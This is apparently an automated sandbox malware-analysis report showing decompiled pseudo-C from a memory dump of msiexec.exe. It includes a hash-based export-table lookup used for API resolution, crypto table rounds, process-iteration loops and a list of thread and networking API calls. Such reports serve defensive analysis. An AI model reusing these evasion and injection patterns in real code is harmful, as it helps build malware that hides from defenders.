0x0018a37d
0x0018a380
0x0018a38b
0x0018a38d
0x0018a39c

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00194B90, Relevance: .2, Instructions: 236
Crypto

C-Code - Quality: 22%

			E00194B90(void* __edx, void* __eflags, void* __rax) {
				void* _t58;
				void* _t61;
				void* _t87;
				void* _t101;
				long long* _t122;
				long long* _t128;
				long long* _t134;
				long long* _t146;
				long long* _t148;
				long long* _t198;
				long long* _t199;
				long long* _t204;
				void* _t207;
				void* _t208;
				void* _t214;
				void* _t215;
				long long* _t219;

				E0019A630(_t87, __edx, __rax, _t214, _t215);
				_t208 = _t207 - __rax;
				_t122 = 0x19d3b8;
				 *((long long*)(_t208 + 0x24e8)) = 0x1975df;
				 *0x293c7fe7();
				_t198 =  *0x00182283 - 0x4815a4ec;
				 *((long long*)(_t208 + 0x20)) = _t198;
				 *_t198();
				if(0x1975df != 0) {
					 *0xFFFFFFFFF7E6B4C0();
				}
				 *0x00194260();
				 *_t198();
				_t199 = _t122;
				if(_t122 != 0) {
					 *0x001943D0();
				}
				if(_t199 == 0) {
					 *((long long*)(0x194260))();
					_t148 = _t122;
					_t122 =  *0x001819F0 + 0x148a6;
					 *_t122();
					_t199 = _t122;
					if(_t148 != 0) {
						_t122 = 0x1943d0;
						 *((long long*)(0x1943d0))();
					}
				}
				r9d = 1;
				r8d = 0;
				 *0x12974577();
				 *((long long*)(_t208 + 0x24d8)) = _t122;
				_t204 = _t122;
				if(_t122 == 0) {
					_t7 = _t122 + 1; // 0x1
					r9d = _t7;
					r8d = 0;
					 *0x12974577();
					_t204 = _t122;
					 *((long long*)(_t208 + 0x24d8)) = _t122;
				}
				r9d = 1;
				r8d = 0;
				 *0x001921B0();
				_t219 = _t122;
				if(_t122 == 0) {
					_t9 = _t122 + 1; // 0x1
					r9d = _t9;
					r8d = 0;
					 *((long long*)(0x1921b0))();
					_t219 = _t122;
				}
				 *0xFFFFFFFFD1AC0086();
				if(0x182c40 == 0xffffffff) {
					L31:
					_t58 = 0;
					goto L32;
				} else {
					r8d = 0x234;
					E00185A30();
					 *((intOrPtr*)(_t208 + 0x30)) = 0x238;
					 *0x00181CA0();
					_t128 =  *0x00182EE3 - 0x7a04349f;
					 *((long long*)(_t208 + 0x24e0)) = _t128;
					while(1) {
						_t61 =  *_t128();
						r8d =  *((intOrPtr*)(_t208 + 0x38));
						if(r8d == _t61) {
							goto L25;
						}
						_t134 =  *0x0018263A + 0xa4843;
						 *_t134();
						if(_t134 == 0) {
							goto L25;
						}
						if( *0x00192890() == 0) {
							 *(_t208 + 0x24d0) = 0;
							r8d = 0x2000;
							E00185A30();
							r8d = 0x2000;
							if( *_t204() == 0) {
								L24:
								 *((long long*)( *0x0018203A - 0x4ec641ef))();
								goto L25;
							}
							_t101 = 0;
							if(( *(_t208 + 0x24d0) & 0xfffffff8) <= 0) {
								goto L24;
							}
							asm("o16 nop [eax+eax]");
							do {
								r8d = 0x20a;
								E00185A30();
								r9d = 0x105;
								 *_t219();
								 *0x00190BC0();
								if(_t134 == 0) {
									goto L22;
								}
								 *0x00190C00();
								if( *0x0018D550() == 0x2eca438c) {
									_t146 =  *((intOrPtr*)(0x18203a)) - 0x4ec641ef;
									 *_t146();
									 *_t146();
									 *((long long*)(0x194260))();
									_t58 =  *((intOrPtr*)(_t208 + 0x20))();
									if(_t134 != 0) {
										_t58 =  *((long long*)(0x1943d0))();
									}
									L32:
									return _t58;
								}
								L22:
								_t101 = _t101 + 1;
							} while (_t101 <  *(_t208 + 0x24d0) >> 3);
							_t204 =  *((intOrPtr*)(_t208 + 0x24d8));
							goto L24;
						}
						 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
						L25:
						if( *0x00182DE0() == 0) {
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							goto L31;
						}
						_t128 =  *((intOrPtr*)(_t208 + 0x24e0));
					}
				}
			}

0x00194ba2
0x00194ba7
0x00194bb1
0x00194bc1
0x00194bd0
0x00194bdd
0x00194be7
0x00194bec
0x00194bfb
0x00194c0a
0x00194c0a
0x00194c1a
0x00194c23
0x00194c25
0x00194c2b
0x00194c3a
0x00194c3a
0x00194c3f
0x00194c4f
0x00194c52
0x00194c5c
0x00194c65
0x00194c67
0x00194c6d
0x00194c75
0x00194c7b
0x00194c7b
0x00194c6d
0x00194c84
0x00194c91
0x00194c9c
0x00194c9e
0x00194ca6
0x00194cac
0x00194cae
0x00194cae
0x00194cb2
0x00194cbd
0x00194cbf
0x00194cc2
0x00194cc2
0x00194cca
0x00194cd0
0x00194cdb
0x00194cdd
0x00194ce3
0x00194ce5
0x00194ce5
0x00194ce9
0x00194cf4
0x00194cf6
0x00194cf6
0x00194d0b
0x00194d14
0x00194f62
0x00194f62
0x00000000
0x00194d1a
0x00194d21
0x00194d27
0x00194d33
0x00194d49
0x00194d52
0x00194d58
0x00194d60
0x00194d60
0x00194d62
0x00194d6a
0x00000000
0x00000000
0x00194d79
0x00194d84
0x00194d8c
0x00000000
0x00000000
0x00194da7
0x00194dc3
0x00194dce
0x00194ddc
0x00194de9
0x00194dfe
0x00194ec7
0x00194ed7
0x00000000
0x00194ed7
0x00194e04
0x00194e11
0x00000000
0x00000000
0x00194e25
0x00194e30
0x00194e3a
0x00194e40
0x00194e55
0x00194e5e
0x00194e6e
0x00194e76
0x00000000
0x00000000
0x00194e8a
0x00194ea9
0x00194f0b
0x00194f12
0x00194f17
0x00194f21
0x00194f2a
0x00194f3c
0x00194f48
0x00194f48
0x00194f64
0x00194f77
0x00194f77
0x00194eab
0x00194eb2
0x00194eb7
0x00194ebf
0x00000000
0x00194ebf
0x00194dba
0x00194ed9
0x00194ef2
0x00194f60
0x00000000
0x00194f60
0x00194ef4
0x00194ef4
0x00194d60

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00193560, Relevance: .2, Instructions: 219
Crypto

C-Code - Quality: 78%

			E00193560(void* __rcx, void* __rdx, short* __r8, long long __r13) {
				void* _t75;
				void* _t78;
				signed int _t81;
				intOrPtr _t92;
				signed long long _t109;
				signed long long _t116;
				signed long long _t120;
				long long _t129;
				short* _t131;
				short* _t132;
				long long _t134;
				long long* _t165;
				void* _t168;
				void* _t171;
				long long _t173;
				void* _t177;
				void* _t186;
				void* _t187;
				void* _t195;
				short* _t201;
				long long _t203;

				_t203 = __r13;
				_t134 =  *((intOrPtr*)(__rcx + 0x130));
				 *((long long*)(_t186 + 8)) = _t134;
				_push(_t173);
				_t187 = _t186 - 0x260;
				_t109 = 0;
				 *(_t187 + 0x2b8) = 0x4000;
				_t201 = __r8;
				 *((long long*)(_t187 + 0x50)) = _t173;
				 *((intOrPtr*)(_t187 + 0x40)) = 0xffffffff;
				_t129 = _t134;
				_t116 = _t187 + 0x50;
				 *(_t187 + 0x20) = _t116;
				r8d = 0;
				_t75 =  *0xFFFFFFFFE80A14BD();
				if(_t75 != 5) {
					L9:
					if(_t75 == 0) {
						 *((long long*)(_t187 + 0x2a8)) = _t203;
						 *0xFFFFFFFFA72AC893();
						_t120 = 0x18ff30;
						_t165 = 0x185da0;
						 *((long long*)(_t187 + 0x48)) = 0xffffffffc5eac685;
						 *((long long*)(_t187 + 0x58)) = 0x53ba696f;
						asm("o16 nop [eax+eax]");
						while(1) {
							r8d =  *(_t187 + 0x2b8);
							 *_t120();
							_t195 = _t187 + 0x2b8;
							_t78 =  *_t165();
							if(_t78 != 0) {
								break;
							}
							r15d = _t109;
							_t120 =  *((intOrPtr*)(_t187 + 0x48));
							if( *((intOrPtr*)(_t187 + 0x40)) > _t78) {
								do {
									_t177 = (_t120 + _t120 * 2 << 4) + 0x18fcb0;
									if( *((intOrPtr*)(_t177 + 8)) == 3) {
										if(_t201 != 0) {
											_t131 = _t201;
											 *0xFFFFFFFFFCAD4FA4();
											_t168 = _t201 + 2 + _t120 * 2;
											if( *_t201 != 0) {
												asm("o16 nop [eax+eax]");
												while(1) {
													r9d = 0;
													if( *0x00185D50() == 0) {
														goto L23;
													}
													 *0x00190C00();
													_t120 = _t120 + 1;
													_t131 = _t168 + _t120 * 2;
													 *((long long*)(0x190c00))();
													_t56 = _t120 + 1; // 0x1
													_t168 = _t131 + _t56 * 2;
													if( *_t131 != 0) {
														continue;
													}
													goto L23;
												}
											}
											L23:
											_t129 =  *((intOrPtr*)(_t187 + 0x2a0));
										}
										r9d = 0;
										 *((long long*)(_t187 + 0x30)) = _t129;
										_t120 = 0x193ba0;
										 *((long long*)(_t187 + 0x28)) = 0x41ef08b9;
										 *(_t187 + 0x20) = 0;
										_t64 = _t195 + 1; // 0x1
										r8d = _t64;
										 *0x0018F350();
									}
									if(( *(_t177 + 0xc) & 0x00000002) != 0) {
										_t120 = 0x193eb0;
										 *0xFFFFFFFFF50404C3();
									}
									r15d = r15d + 1;
								} while (r15d <  *((intOrPtr*)(_t187 + 0x40)));
								_t120 =  *((intOrPtr*)(_t187 + 0x48));
								_t109 = 0;
								_t165 =  *((intOrPtr*)(_t187 + 0x58));
							}
						}
						if(0x18fcb0 != 0) {
							 *0x0018FE30();
						}
						_t81 = 0 |  *0x00185CA0() == 0x00000000;
					} else {
						goto L10;
					}
				} else {
					if(__r8 == 0) {
						L10:
						_t92 =  *((long long*)( *0x00182B93 + 0x30712b))();
						 *((intOrPtr*)(_t187 + 0x48)) = _t92;
						if(_t92 == 0x4b8) {
							r8d = 0x100;
							E00185A30();
							r8d = 0x100;
							E00185A30();
							 *(_t187 + 0x20) = 0x100;
							r8d = 0x100;
							 *0x0997598D();
						}
						goto L12;
					} else {
						_t132 = __r8;
						 *0xFFFFFFFFAA889FC2();
						_t171 = __r8 + 2 + _t116 * 2;
						if( *__r8 == 0) {
							L12:
							_t81 = 0;
						} else {
							while(1) {
								r9d = 0;
								if( *((long long*)(0x185d50))() == 0) {
									break;
								}
								 *((long long*)(0x190c00))();
								_t116 = _t116 + 1;
								_t132 = _t171 + _t116 * 2;
								 *((long long*)(0x190c00))();
								_t18 = _t116 + 1; // 0x1
								_t171 = _t132 + _t18 * 2;
								if( *_t132 != 0) {
									continue;
								} else {
									_t81 = 0;
								}
								goto L32;
							}
							r8d = 0;
							 *(_t187 + 0x20) = _t187 + 0x50;
							_t75 =  *0x00185C50();
							_t129 =  *((intOrPtr*)(_t187 + 0x2a0));
							_t109 = 0;
							goto L9;
						}
					}
				}
				L32:
				return _t81;
			}

0x00193560
0x00193560
0x00193eb0
0x00193eb7
0x00193ebf
0x00193ec6
0x00193ec8
0x00193ed3
0x00193ed6
0x00193ede
0x00193ee6
0x00193ee9
0x00193ef1
0x00193efd
0x00193f0d
0x00193f13
0x00193fbc
0x00193fbe
0x0019404b
0x00194058
0x0019406b
0x00194071
0x00194078
0x0019407d
0x00194086
0x00194090
0x00194090
0x0019409d
0x001940a4
0x001940b4
0x001940b8
0x00000000
0x00000000
0x001940c2
0x001940c5
0x001940ca
0x001940d0
0x001940db
0x001940e2
0x001940eb
0x001940fe
0x00194101
0x0019410e
0x00194112
0x00194126
0x00194130
0x00194130
0x00194141
0x00000000
0x00000000
0x00194146
0x00194148
0x0019414b
0x00194152
0x00194158
0x0019415c
0x00194160
0x00000000
0x00000000
0x00000000
0x00194160
0x00194130
0x00194162
0x00194162
0x00194162
0x00194175
0x00194178
0x0019417d
0x0019418a
0x0019419d
0x001941a6
0x001941a6
0x001941aa
0x001941aa
0x001941b5
0x001941c1
0x001941cd
0x001941cd
0x001941cf
0x001941d2
0x001941dd
0x001941e2
0x001941e4
0x001941e4
0x001940ca
0x001941f1
0x00194204
0x00194204
0x0019422a
0x00000000
0x00000000
0x00000000
0x00193f19
0x00193f1c
0x00193fc0
0x00193fcd
0x00193fcf
0x00193fd8
0x00193fe4
0x00193fea
0x00193ff6
0x00193ffc
0x00194008
0x0019401b
0x0019402e
0x0019402e
0x00000000
0x00193f22
0x00193f33
0x00193f36
0x00193f43
0x00193f47
0x00194030
0x00194030
0x00193f4d
0x00193f60
0x00193f60
0x00193f70
0x00000000
0x00000000
0x00193f75
0x00193f77
0x00193f7a
0x00193f81
0x00193f87
0x00193f8b
0x00193f8f
0x00000000
0x00193f91
0x00193f91
0x00193f91
0x00000000
0x00193f8f
0x00193f98
0x00193fa3
0x00193faf
0x00193fb2
0x00193fba
0x00000000
0x00193fba
0x00193f47
0x00193f1c
0x0019422d
0x0019423e

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 001921B0, Relevance: .2, Instructions: 169
Crypto

C-Code - Quality: 25%

			E001921B0(long long __rbx, signed long long __rcx, unsigned int __rdx, long long __rdi, signed long long __rsi, signed int __r9, signed int _a8, signed int _a16, signed int _a24, long long _a32) {
				long long _v16;
				long long _v24;
				signed char _v152;
				long long _v168;
				signed long long _v176;
				signed char* _v184;
				signed int _t52;
				signed int _t53;
				signed int _t59;
				signed int _t61;
				void* _t64;
				signed int _t65;
				signed int _t74;
				signed short _t75;
				signed int _t76;
				long long _t83;
				signed long long _t85;
				intOrPtr _t87;
				signed long long _t89;
				signed long long _t90;
				signed long long _t92;
				signed char* _t94;
				signed long long _t95;
				signed int* _t96;
				signed char* _t100;
				signed long long _t101;
				signed char* _t105;
				signed char* _t106;
				signed long long _t108;
				char* _t110;
				signed long long _t111;
				signed int _t117;
				void* _t118;

				_t117 = __r9;
				_t108 = __rsi;
				_t101 = __rdx;
				_t95 = __rcx;
				_a24 = r8d;
				_a16 = __rdx;
				_t111 = __rcx;
				if(__rcx != 0) {
					__eflags =  *__rcx - 0x5a4d;
					if( *__rcx != 0x5a4d) {
						goto L1;
					} else {
						_t83 =  *((intOrPtr*)(__rcx + 0x3c)) + 0x18 + __rcx;
						_v168 = _t83;
						_t52 =  *(_t83 + 0x70);
						__eflags = _t52;
						if(_t52 == 0) {
							goto L1;
						} else {
							_a32 = __rbx;
							_v16 = __rsi;
							_t76 = 0;
							_v24 = __rdi;
							_t105 = _t83 + __rcx;
							_v184 = _t105;
							_t85 = __rdx >> 0x10;
							__eflags = _t52;
							if(_t52 != 0) {
								__eflags = r9b & 0x00000001;
								if((r9b & 0x00000001) == 0) {
									_t100 = __rdx;
									do {
										_t59 =  *_t100 & 0x000000ff;
										_t100 =  &(_t100[1]);
										__eflags = _t59;
									} while (_t59 != 0);
									__eflags = _t64 - r8d;
									_t95 = __rdx;
									_t52 = E0018D4F0(__rbx, __rdx, __rdx, __rdx);
									_a16 = _t52;
								}
								r10d = _t105[0x18];
								_a8 = r10d;
								__eflags = r10d;
								if(r10d != 0) {
									_t118 = 0x1a3120;
									_v176 = _t95;
									asm("o16 nop [eax+eax]");
									do {
										_t95 = _t95 + _t85 * 4;
										_t75 =  *(_t95 + _t111);
										_t105 =  &(_t105[_t111]);
										__eflags = _t105;
										_t94 = _t105;
										do {
											_t52 =  *_t94 & 0x000000ff;
											_t94 =  &(_t94[1]);
											__eflags = _t52;
										} while (_t52 != 0);
										__eflags =  *0x1a3114 - _t52; // 0x1
										if(__eflags == 0) {
											_t52 = E0018D440();
											r10d = _a8;
											_t118 = 0x1a3120;
										}
										r8d = r8d | 0xffffffff;
										_t61 = _t61 - _t75 - 1;
										__eflags = _t61;
										r9d = _t61;
										if(_t61 != 0) {
											do {
												_t105 =  &(_t105[1]);
												_t95 = _t95 ^ _t85;
												_t52 = r8d >> 8;
												r8d =  *(_t118 + _t101 * 4);
												r8d = r8d ^ _t52;
												_t117 = _t117 - 1;
												__eflags = _t117;
											} while (_t117 != 0);
										}
										r8d =  !r8d;
										__eflags = _a16 - r8d;
										if(_a16 == r8d) {
											_t106 = _v184;
											__eflags = 0;
											_t52 =  *(_t95 + _t111) & 0x0000ffff;
											goto L36;
										} else {
											goto L20;
										}
										goto L23;
										L20:
										_t95 = _v176;
										_t76 = _t76 + 1;
										__eflags = _t76 - r10d;
									} while (_t76 < r10d);
									__eflags = 0;
								}
								goto L22;
							} else {
								_t52 = (r8w & 0xffffffff) - _t105[0x10];
								L36:
								__eflags = _t52 - 0xffffffff;
								if(_t52 == 0xffffffff) {
									L22:
									_t106 = _v184;
									_t92 = _t108;
								} else {
									_t92 =  &(_t94[_t111]);
								}
								goto L23;
							}
							L23:
							__eflags = _t92 - _t106;
							if(_t92 >= _t106) {
								_t87 = _v168;
								_t52 =  *(_t87 + 0x74);
								__eflags = _t92 - _t87 + _t106;
								if(_t92 < _t87 + _t106) {
									_t53 =  *_t92 & 0x000000ff;
									_t32 =  &_v152; // 0x9b102e5d
									_t96 = _t32;
									__eflags = _t53;
									if(_t53 != 0) {
										asm("o16 nop [eax+eax]");
										do {
											_t92 = _t92 + 1;
											 *_t96 = _t53;
											_t96 =  &(_t96[0]);
											_t53 =  *_t92 & 0x000000ff;
											__eflags = _t53;
										} while (_t53 != 0);
									}
									_t52 =  *_t92 & 0x000000ff;
									_t92 = _t108;
									 *_t96 = _t52;
									_t33 =  &_v152; // 0x9b102e5d
									_t89 = _t33;
									_t65 = _v152 & 0x000000ff;
									while(1) {
										__eflags = _t65 - 0x2e;
										if(_t65 == 0x2e) {
											break;
										}
										_t65 =  *(_t89 + 1) & 0x000000ff;
										_t89 = _t89 + 1;
										__eflags = _t65;
										if(_t65 != 0) {
											continue;
										}
										break;
									}
									__eflags =  *_t89 - 0x2e;
									_t110 =  ==  ? _t89 : _t108;
									__eflags = _t110;
									if(_t110 != 0) {
										_t74 = _a24;
										 *_t110 = 0;
										_t90 = _t89 ^  *0x1a3540;
										r8d = 0;
										_t52 =  *_t90();
										__eflags = _t90;
										if(_t90 != 0) {
											_t38 = _t110 + 1; // 0x1
											r9d = 0;
											__eflags = r9d;
											r8d = _t74;
											_t52 = E001921B0(_t92, _t90, _t38, _t106, _t110, _t117);
											_t92 = _t90;
										}
									}
								}
							}
							return _t52;
						}
					}
				} else {
					L1:
					return 0;
				}
			}

0x001921b0
0x001921b0
0x001921b0
0x001921b0
0x001921b0
0x001921b5
0x001921c5
0x001921cb
0x001921dd
0x001921e0
0x00000000
0x001921e2
0x001921ea
0x001921ed
0x001921f2
0x001921f5
0x001921f7
0x00000000
0x001921f9
0x001921f9
0x00192201
0x00192209
0x0019220b
0x00192213
0x0019221a
0x0019221f
0x00192223
0x00192226
0x00192234
0x00192238
0x0019223a
0x00192240
0x00192240
0x00192243
0x00192246
0x00192246
0x0019224a
0x00192250
0x00192253
0x00192258
0x00192258
0x0019225f
0x00192263
0x0019226b
0x0019226e
0x00192277
0x0019227e
0x00192287
0x00192290
0x00192292
0x00192296
0x00192299
0x00192299
0x0019229c
0x001922a0
0x001922a0
0x001922a3
0x001922a6
0x001922a6
0x001922aa
0x001922b0
0x001922b2
0x001922b7
0x001922bf
0x001922bf
0x001922c6
0x001922cc
0x001922cc
0x001922cf
0x001922d2
0x001922e0
0x001922e3
0x001922ea
0x001922f0
0x001922f6
0x001922fa
0x001922fd
0x001922fd
0x001922fd
0x001922e0
0x00192303
0x00192306
0x0019230e
0x001923fa
0x00192405
0x00192407
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00192314
0x00192314
0x00192319
0x0019231b
0x0019231b
0x00192324
0x00192324
0x00000000
0x00192228
0x0019222c
0x0019240b
0x0019240b
0x0019240e
0x00192326
0x00192326
0x0019232b
0x00192414
0x00192420
0x00192420
0x00000000
0x0019240e
0x0019232e
0x0019232e
0x00192331
0x00192337
0x0019233c
0x00192342
0x00192345
0x0019234b
0x0019234e
0x0019234e
0x00192353
0x00192355
0x00192357
0x00192360
0x00192360
0x00192363
0x00192365
0x00192368
0x0019236b
0x0019236b
0x00192360
0x0019236f
0x00192372
0x00192375
0x00192377
0x00192377
0x0019237c
0x00192381
0x00192381
0x00192384
0x00000000
0x00000000
0x00192386
0x0019238a
0x0019238d
0x0019238f
0x00000000
0x00000000
0x00000000
0x0019238f
0x00192391
0x00192394
0x00192398
0x0019239b
0x0019239d
0x001923ab
0x001923ae
0x001923b5
0x001923ba
0x001923bc
0x001923bf
0x001923c1
0x001923c5
0x001923c5
0x001923c8
0x001923ce
0x001923d3
0x001923d3
0x001923bf
0x0019239b
0x00192345
0x001923f9
0x001923f9
0x001921f7
0x001921cd
0x001921cd
0x001921d7
0x001921d7

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018A3A0, Relevance: .1, Instructions: 134
Crypto

C-Code - Quality: 100%

			E0018A3A0(signed long long __rcx, signed long long __rdx, long long __rdi, long long __rsi, void* __r8, void* __r10, long long __r14, long long __r15) {
				void* _t118;
				signed int _t120;
				intOrPtr _t151;
				intOrPtr _t162;
				unsigned long long _t174;
				unsigned long long _t175;
				void* _t178;
				void* _t179;
				signed long long _t180;
				signed long long _t181;
				long long _t182;
				long long _t186;
				long long _t190;
				void* _t194;
				void* _t197;
				signed long long _t198;
				void* _t199;
				void* _t202;
				long long _t203;

				_t203 = __r14;
				_t199 = __r10;
				_t186 = __rsi;
				_t182 = __rdi;
				_t181 = __rdx;
				_t180 = __rcx;
				_t179 = __r8;
				_t174 = 0x1898a0;
				_t118 =  *0xFFFFFFFFD2870ADF();
				if(_t118 >= 0) {
					r10d = 0;
					_t120 =  *(__r8 + 0xf0) << 2;
					 *((long long*)(_t194 + 0x20)) = __r15;
					_t198 = _t120;
					if(_t120 <= 0) {
						L4:
						r15d = 1;
						if( *((intOrPtr*)(_t179 + 0xf0)) <= r15d) {
							L8:
							return 0;
						}
						 *((long long*)(_t194 + 0x40)) = _t190;
						 *((long long*)(_t194 + 0x48)) = _t186;
						 *((long long*)(_t194 + 0x50)) = _t182;
						 *((long long*)(_t194 + 0x28)) = _t203;
						_t202 = _t179 + 2;
						do {
							r8d =  *(_t202 + 0xe);
							_t202 = _t202 + 0x10;
							r15d = r15d + 1;
							r9d =  *(_t202 + 2);
							_t175 = _t174 >> 0x18;
							 *(_t202 - 2) =  *(0x19a2c1 + _t180 * 4) ^  *(0x1946d4 + _t175 * 4) ^  *(0xaf72893 + _t180 * 4) ^  *(0x19a1c2 + _t180 * 4);
							r8d =  *(0xaf72893 + _t181 * 4);
							r8d = r8d ^  *(0x19a2c1 + _t180 * 4);
							r9d =  *(_t202 + 6);
							r8d = r8d ^  *(0x1946d4 + _t180 * 4);
							r8d = r8d ^  *(0x19a1c2 + _t180 * 4);
							 *(_t202 + 2) = r8d;
							r8d =  *(0xaf72893 + _t181 * 4);
							r8d = r8d ^  *(0x19a2c1 + _t180 * 4);
							r9d =  *(_t202 + 0xa);
							r8d = r8d ^  *(0x1946d4 + _t180 * 4);
							r8d = r8d ^  *(0x19a1c2 + _t180 * 4);
							 *(_t202 + 6) = r8d;
							r8d =  *(0xaf72893 + _t181 * 4);
							_t174 = _t175 >> 0x18 >> 0x18 >> 0x18;
							r8d = r8d ^  *(0x19a2c1 + _t180 * 4);
							r8d = r8d ^  *(0x1946d4 + _t180 * 4);
							r8d = r8d ^  *(0x19a1c2 + _t180 * 4);
							 *(_t202 + 0xa) = r8d;
						} while (r15d <  *((intOrPtr*)(_t179 + 0xf0)));
						goto L8;
					}
					_t197 = __r8 + 8 + _t198 * 4;
					_t178 = __r8 + 8;
					do {
						_t162 =  *((intOrPtr*)(_t178 - 8));
						_t199 = _t199 + 4;
						_t151 =  *((intOrPtr*)(_t197 - 8));
						_t197 = _t197 - 0x10;
						 *((intOrPtr*)(_t178 - 8)) = _t151;
						_t178 = _t178 + 0x10;
						_t198 = _t198 - 4;
						 *((intOrPtr*)(_t197 + 8)) = _t162;
						 *((intOrPtr*)(_t178 - 0x14)) =  *((intOrPtr*)(_t197 + 0xc));
						 *((intOrPtr*)(_t197 + 0xc)) =  *((intOrPtr*)(_t178 - 0x14));
						 *((intOrPtr*)(_t178 - 0x10)) =  *((intOrPtr*)(_t197 + 0x10));
						 *((intOrPtr*)(_t197 + 0x10)) =  *((intOrPtr*)(_t178 - 0x10));
						 *((intOrPtr*)(_t178 - 0xc)) =  *((intOrPtr*)(_t197 + 0x14));
						 *((intOrPtr*)(_t197 + 0x14)) =  *((intOrPtr*)(_t178 - 0xc));
					} while (_t199 < _t198);
					goto L4;
				}
				return _t118;
			}

0x0018a3a0
0x0018a3a0
0x0018a3a0
0x0018a3a0
0x0018a3a0
0x0018a3a0
0x0018a3ad
0x0018a3b0
0x0018a3b6
0x0018a3ba
0x0018a3c6
0x0018a3c9
0x0018a3cc
0x0018a3d1
0x0018a3d6
0x0018a43d
0x0018a43d
0x0018a44a
0x0018a5dc
0x00000000
0x0018a5e1
0x0018a450
0x0018a45c
0x0018a468
0x0018a474
0x0018a495
0x0018a4b0
0x0018a4b0
0x0018a4b4
0x0018a4bd
0x0018a4c0
0x0018a4cc
0x0018a4fa
0x0018a508
0x0018a518
0x0018a525
0x0018a529
0x0018a537
0x0018a53c
0x0018a54a
0x0018a55a
0x0018a567
0x0018a56b
0x0018a579
0x0018a57e
0x0018a58c
0x0018a598
0x0018a59c
0x0018a5a9
0x0018a5b2
0x0018a5b7
0x0018a5bb
0x00000000
0x0018a5d7
0x0018a3dc
0x0018a3e0
0x0018a3f0
0x0018a3f0
0x0018a3f3
0x0018a3f7
0x0018a3fb
0x0018a3ff
0x0018a402
0x0018a40a
0x0018a40e
0x0018a415
0x0018a41c
0x0018a423
0x0018a42a
0x0018a431
0x0018a434
0x0018a438
0x00000000
0x0018a3f0
0x0018a5e8

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 001863C0, Relevance: .1, Instructions: 127

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018D440, Relevance: .1, Instructions: 59
Crypto

C-Code - Quality: 100%

			E0018D440() {
				signed int _t16;
				unsigned int _t18;
				unsigned int _t19;
				unsigned int _t20;
				unsigned int _t21;
				unsigned int _t22;
				unsigned int _t23;
				unsigned int _t24;
				signed char _t32;
				signed int* _t45;

				if( *0x1a3114 == 0) {
					 *0x1a3114 = 1;
					_t45 = 0x1a3120;
					_t32 = 0;
					do {
						_t18 = _t32 >> 1;
						if((_t32 & 0x00000001) != 0) {
							_t18 = _t18 ^ 0xedb88320;
						}
						if((_t18 & 0x00000001) == 0) {
							_t19 = _t18 >> 1;
						} else {
							_t19 = _t18 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t19 & 0x00000001) == 0) {
							_t20 = _t19 >> 1;
						} else {
							_t20 = _t19 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t20 & 0x00000001) == 0) {
							_t21 = _t20 >> 1;
						} else {
							_t21 = _t20 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t21 & 0x00000001) == 0) {
							_t22 = _t21 >> 1;
						} else {
							_t22 = _t21 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t22 & 0x00000001) == 0) {
							_t23 = _t22 >> 1;
						} else {
							_t23 = _t22 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t23 & 0x00000001) == 0) {
							_t24 = _t23 >> 1;
						} else {
							_t24 = _t23 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t24 & 0x00000001) == 0) {
							_t16 = _t24 >> 1;
						} else {
							_t16 = _t24 >> 0x00000001 ^ 0xedb88320;
						}
						 *_t45 = _t16;
						_t32 = _t32 + 1;
						_t45 =  &(_t45[1]);
					} while (_t32 < 0x100);
				}
				return _t16;
			}

0x0018d447
0x0018d44d
0x0018d454
0x0018d45b
0x0018d460
0x0018d462
0x0018d467
0x0018d469
0x0018d469
0x0018d470
0x0018d47b
0x0018d472
0x0018d474
0x0018d474
0x0018d47f
0x0018d48a
0x0018d481
0x0018d483
0x0018d483
0x0018d48e
0x0018d499
0x0018d490
0x0018d492
0x0018d492
0x0018d49d
0x0018d4a8
0x0018d49f
0x0018d4a1
0x0018d4a1
0x0018d4ac
0x0018d4b7
0x0018d4ae
0x0018d4b0
0x0018d4b0
0x0018d4bb
0x0018d4c6
0x0018d4bd
0x0018d4bf
0x0018d4bf
0x0018d4ca
0x0018d4d5
0x0018d4cc
0x0018d4ce
0x0018d4ce
0x0018d4d7
0x0018d4d9
0x0018d4db
0x0018d4df
0x0018d460
0x0018d4eb

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Analysis Process: msiexec.exe PID: 2556 Parent PID: 100

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	33.1%
Total number of Nodes:	139
Total number of Limit Nodes:	27

Executed Functions

Function 00508FD0, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 219
threadnetwork

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0050901D
CreateThread.KERNEL32 ref: 005091E8
WSAStartup.WS2_32 ref: 0050929C
CreateThread.KERNEL32 ref: 005092E8

Strings

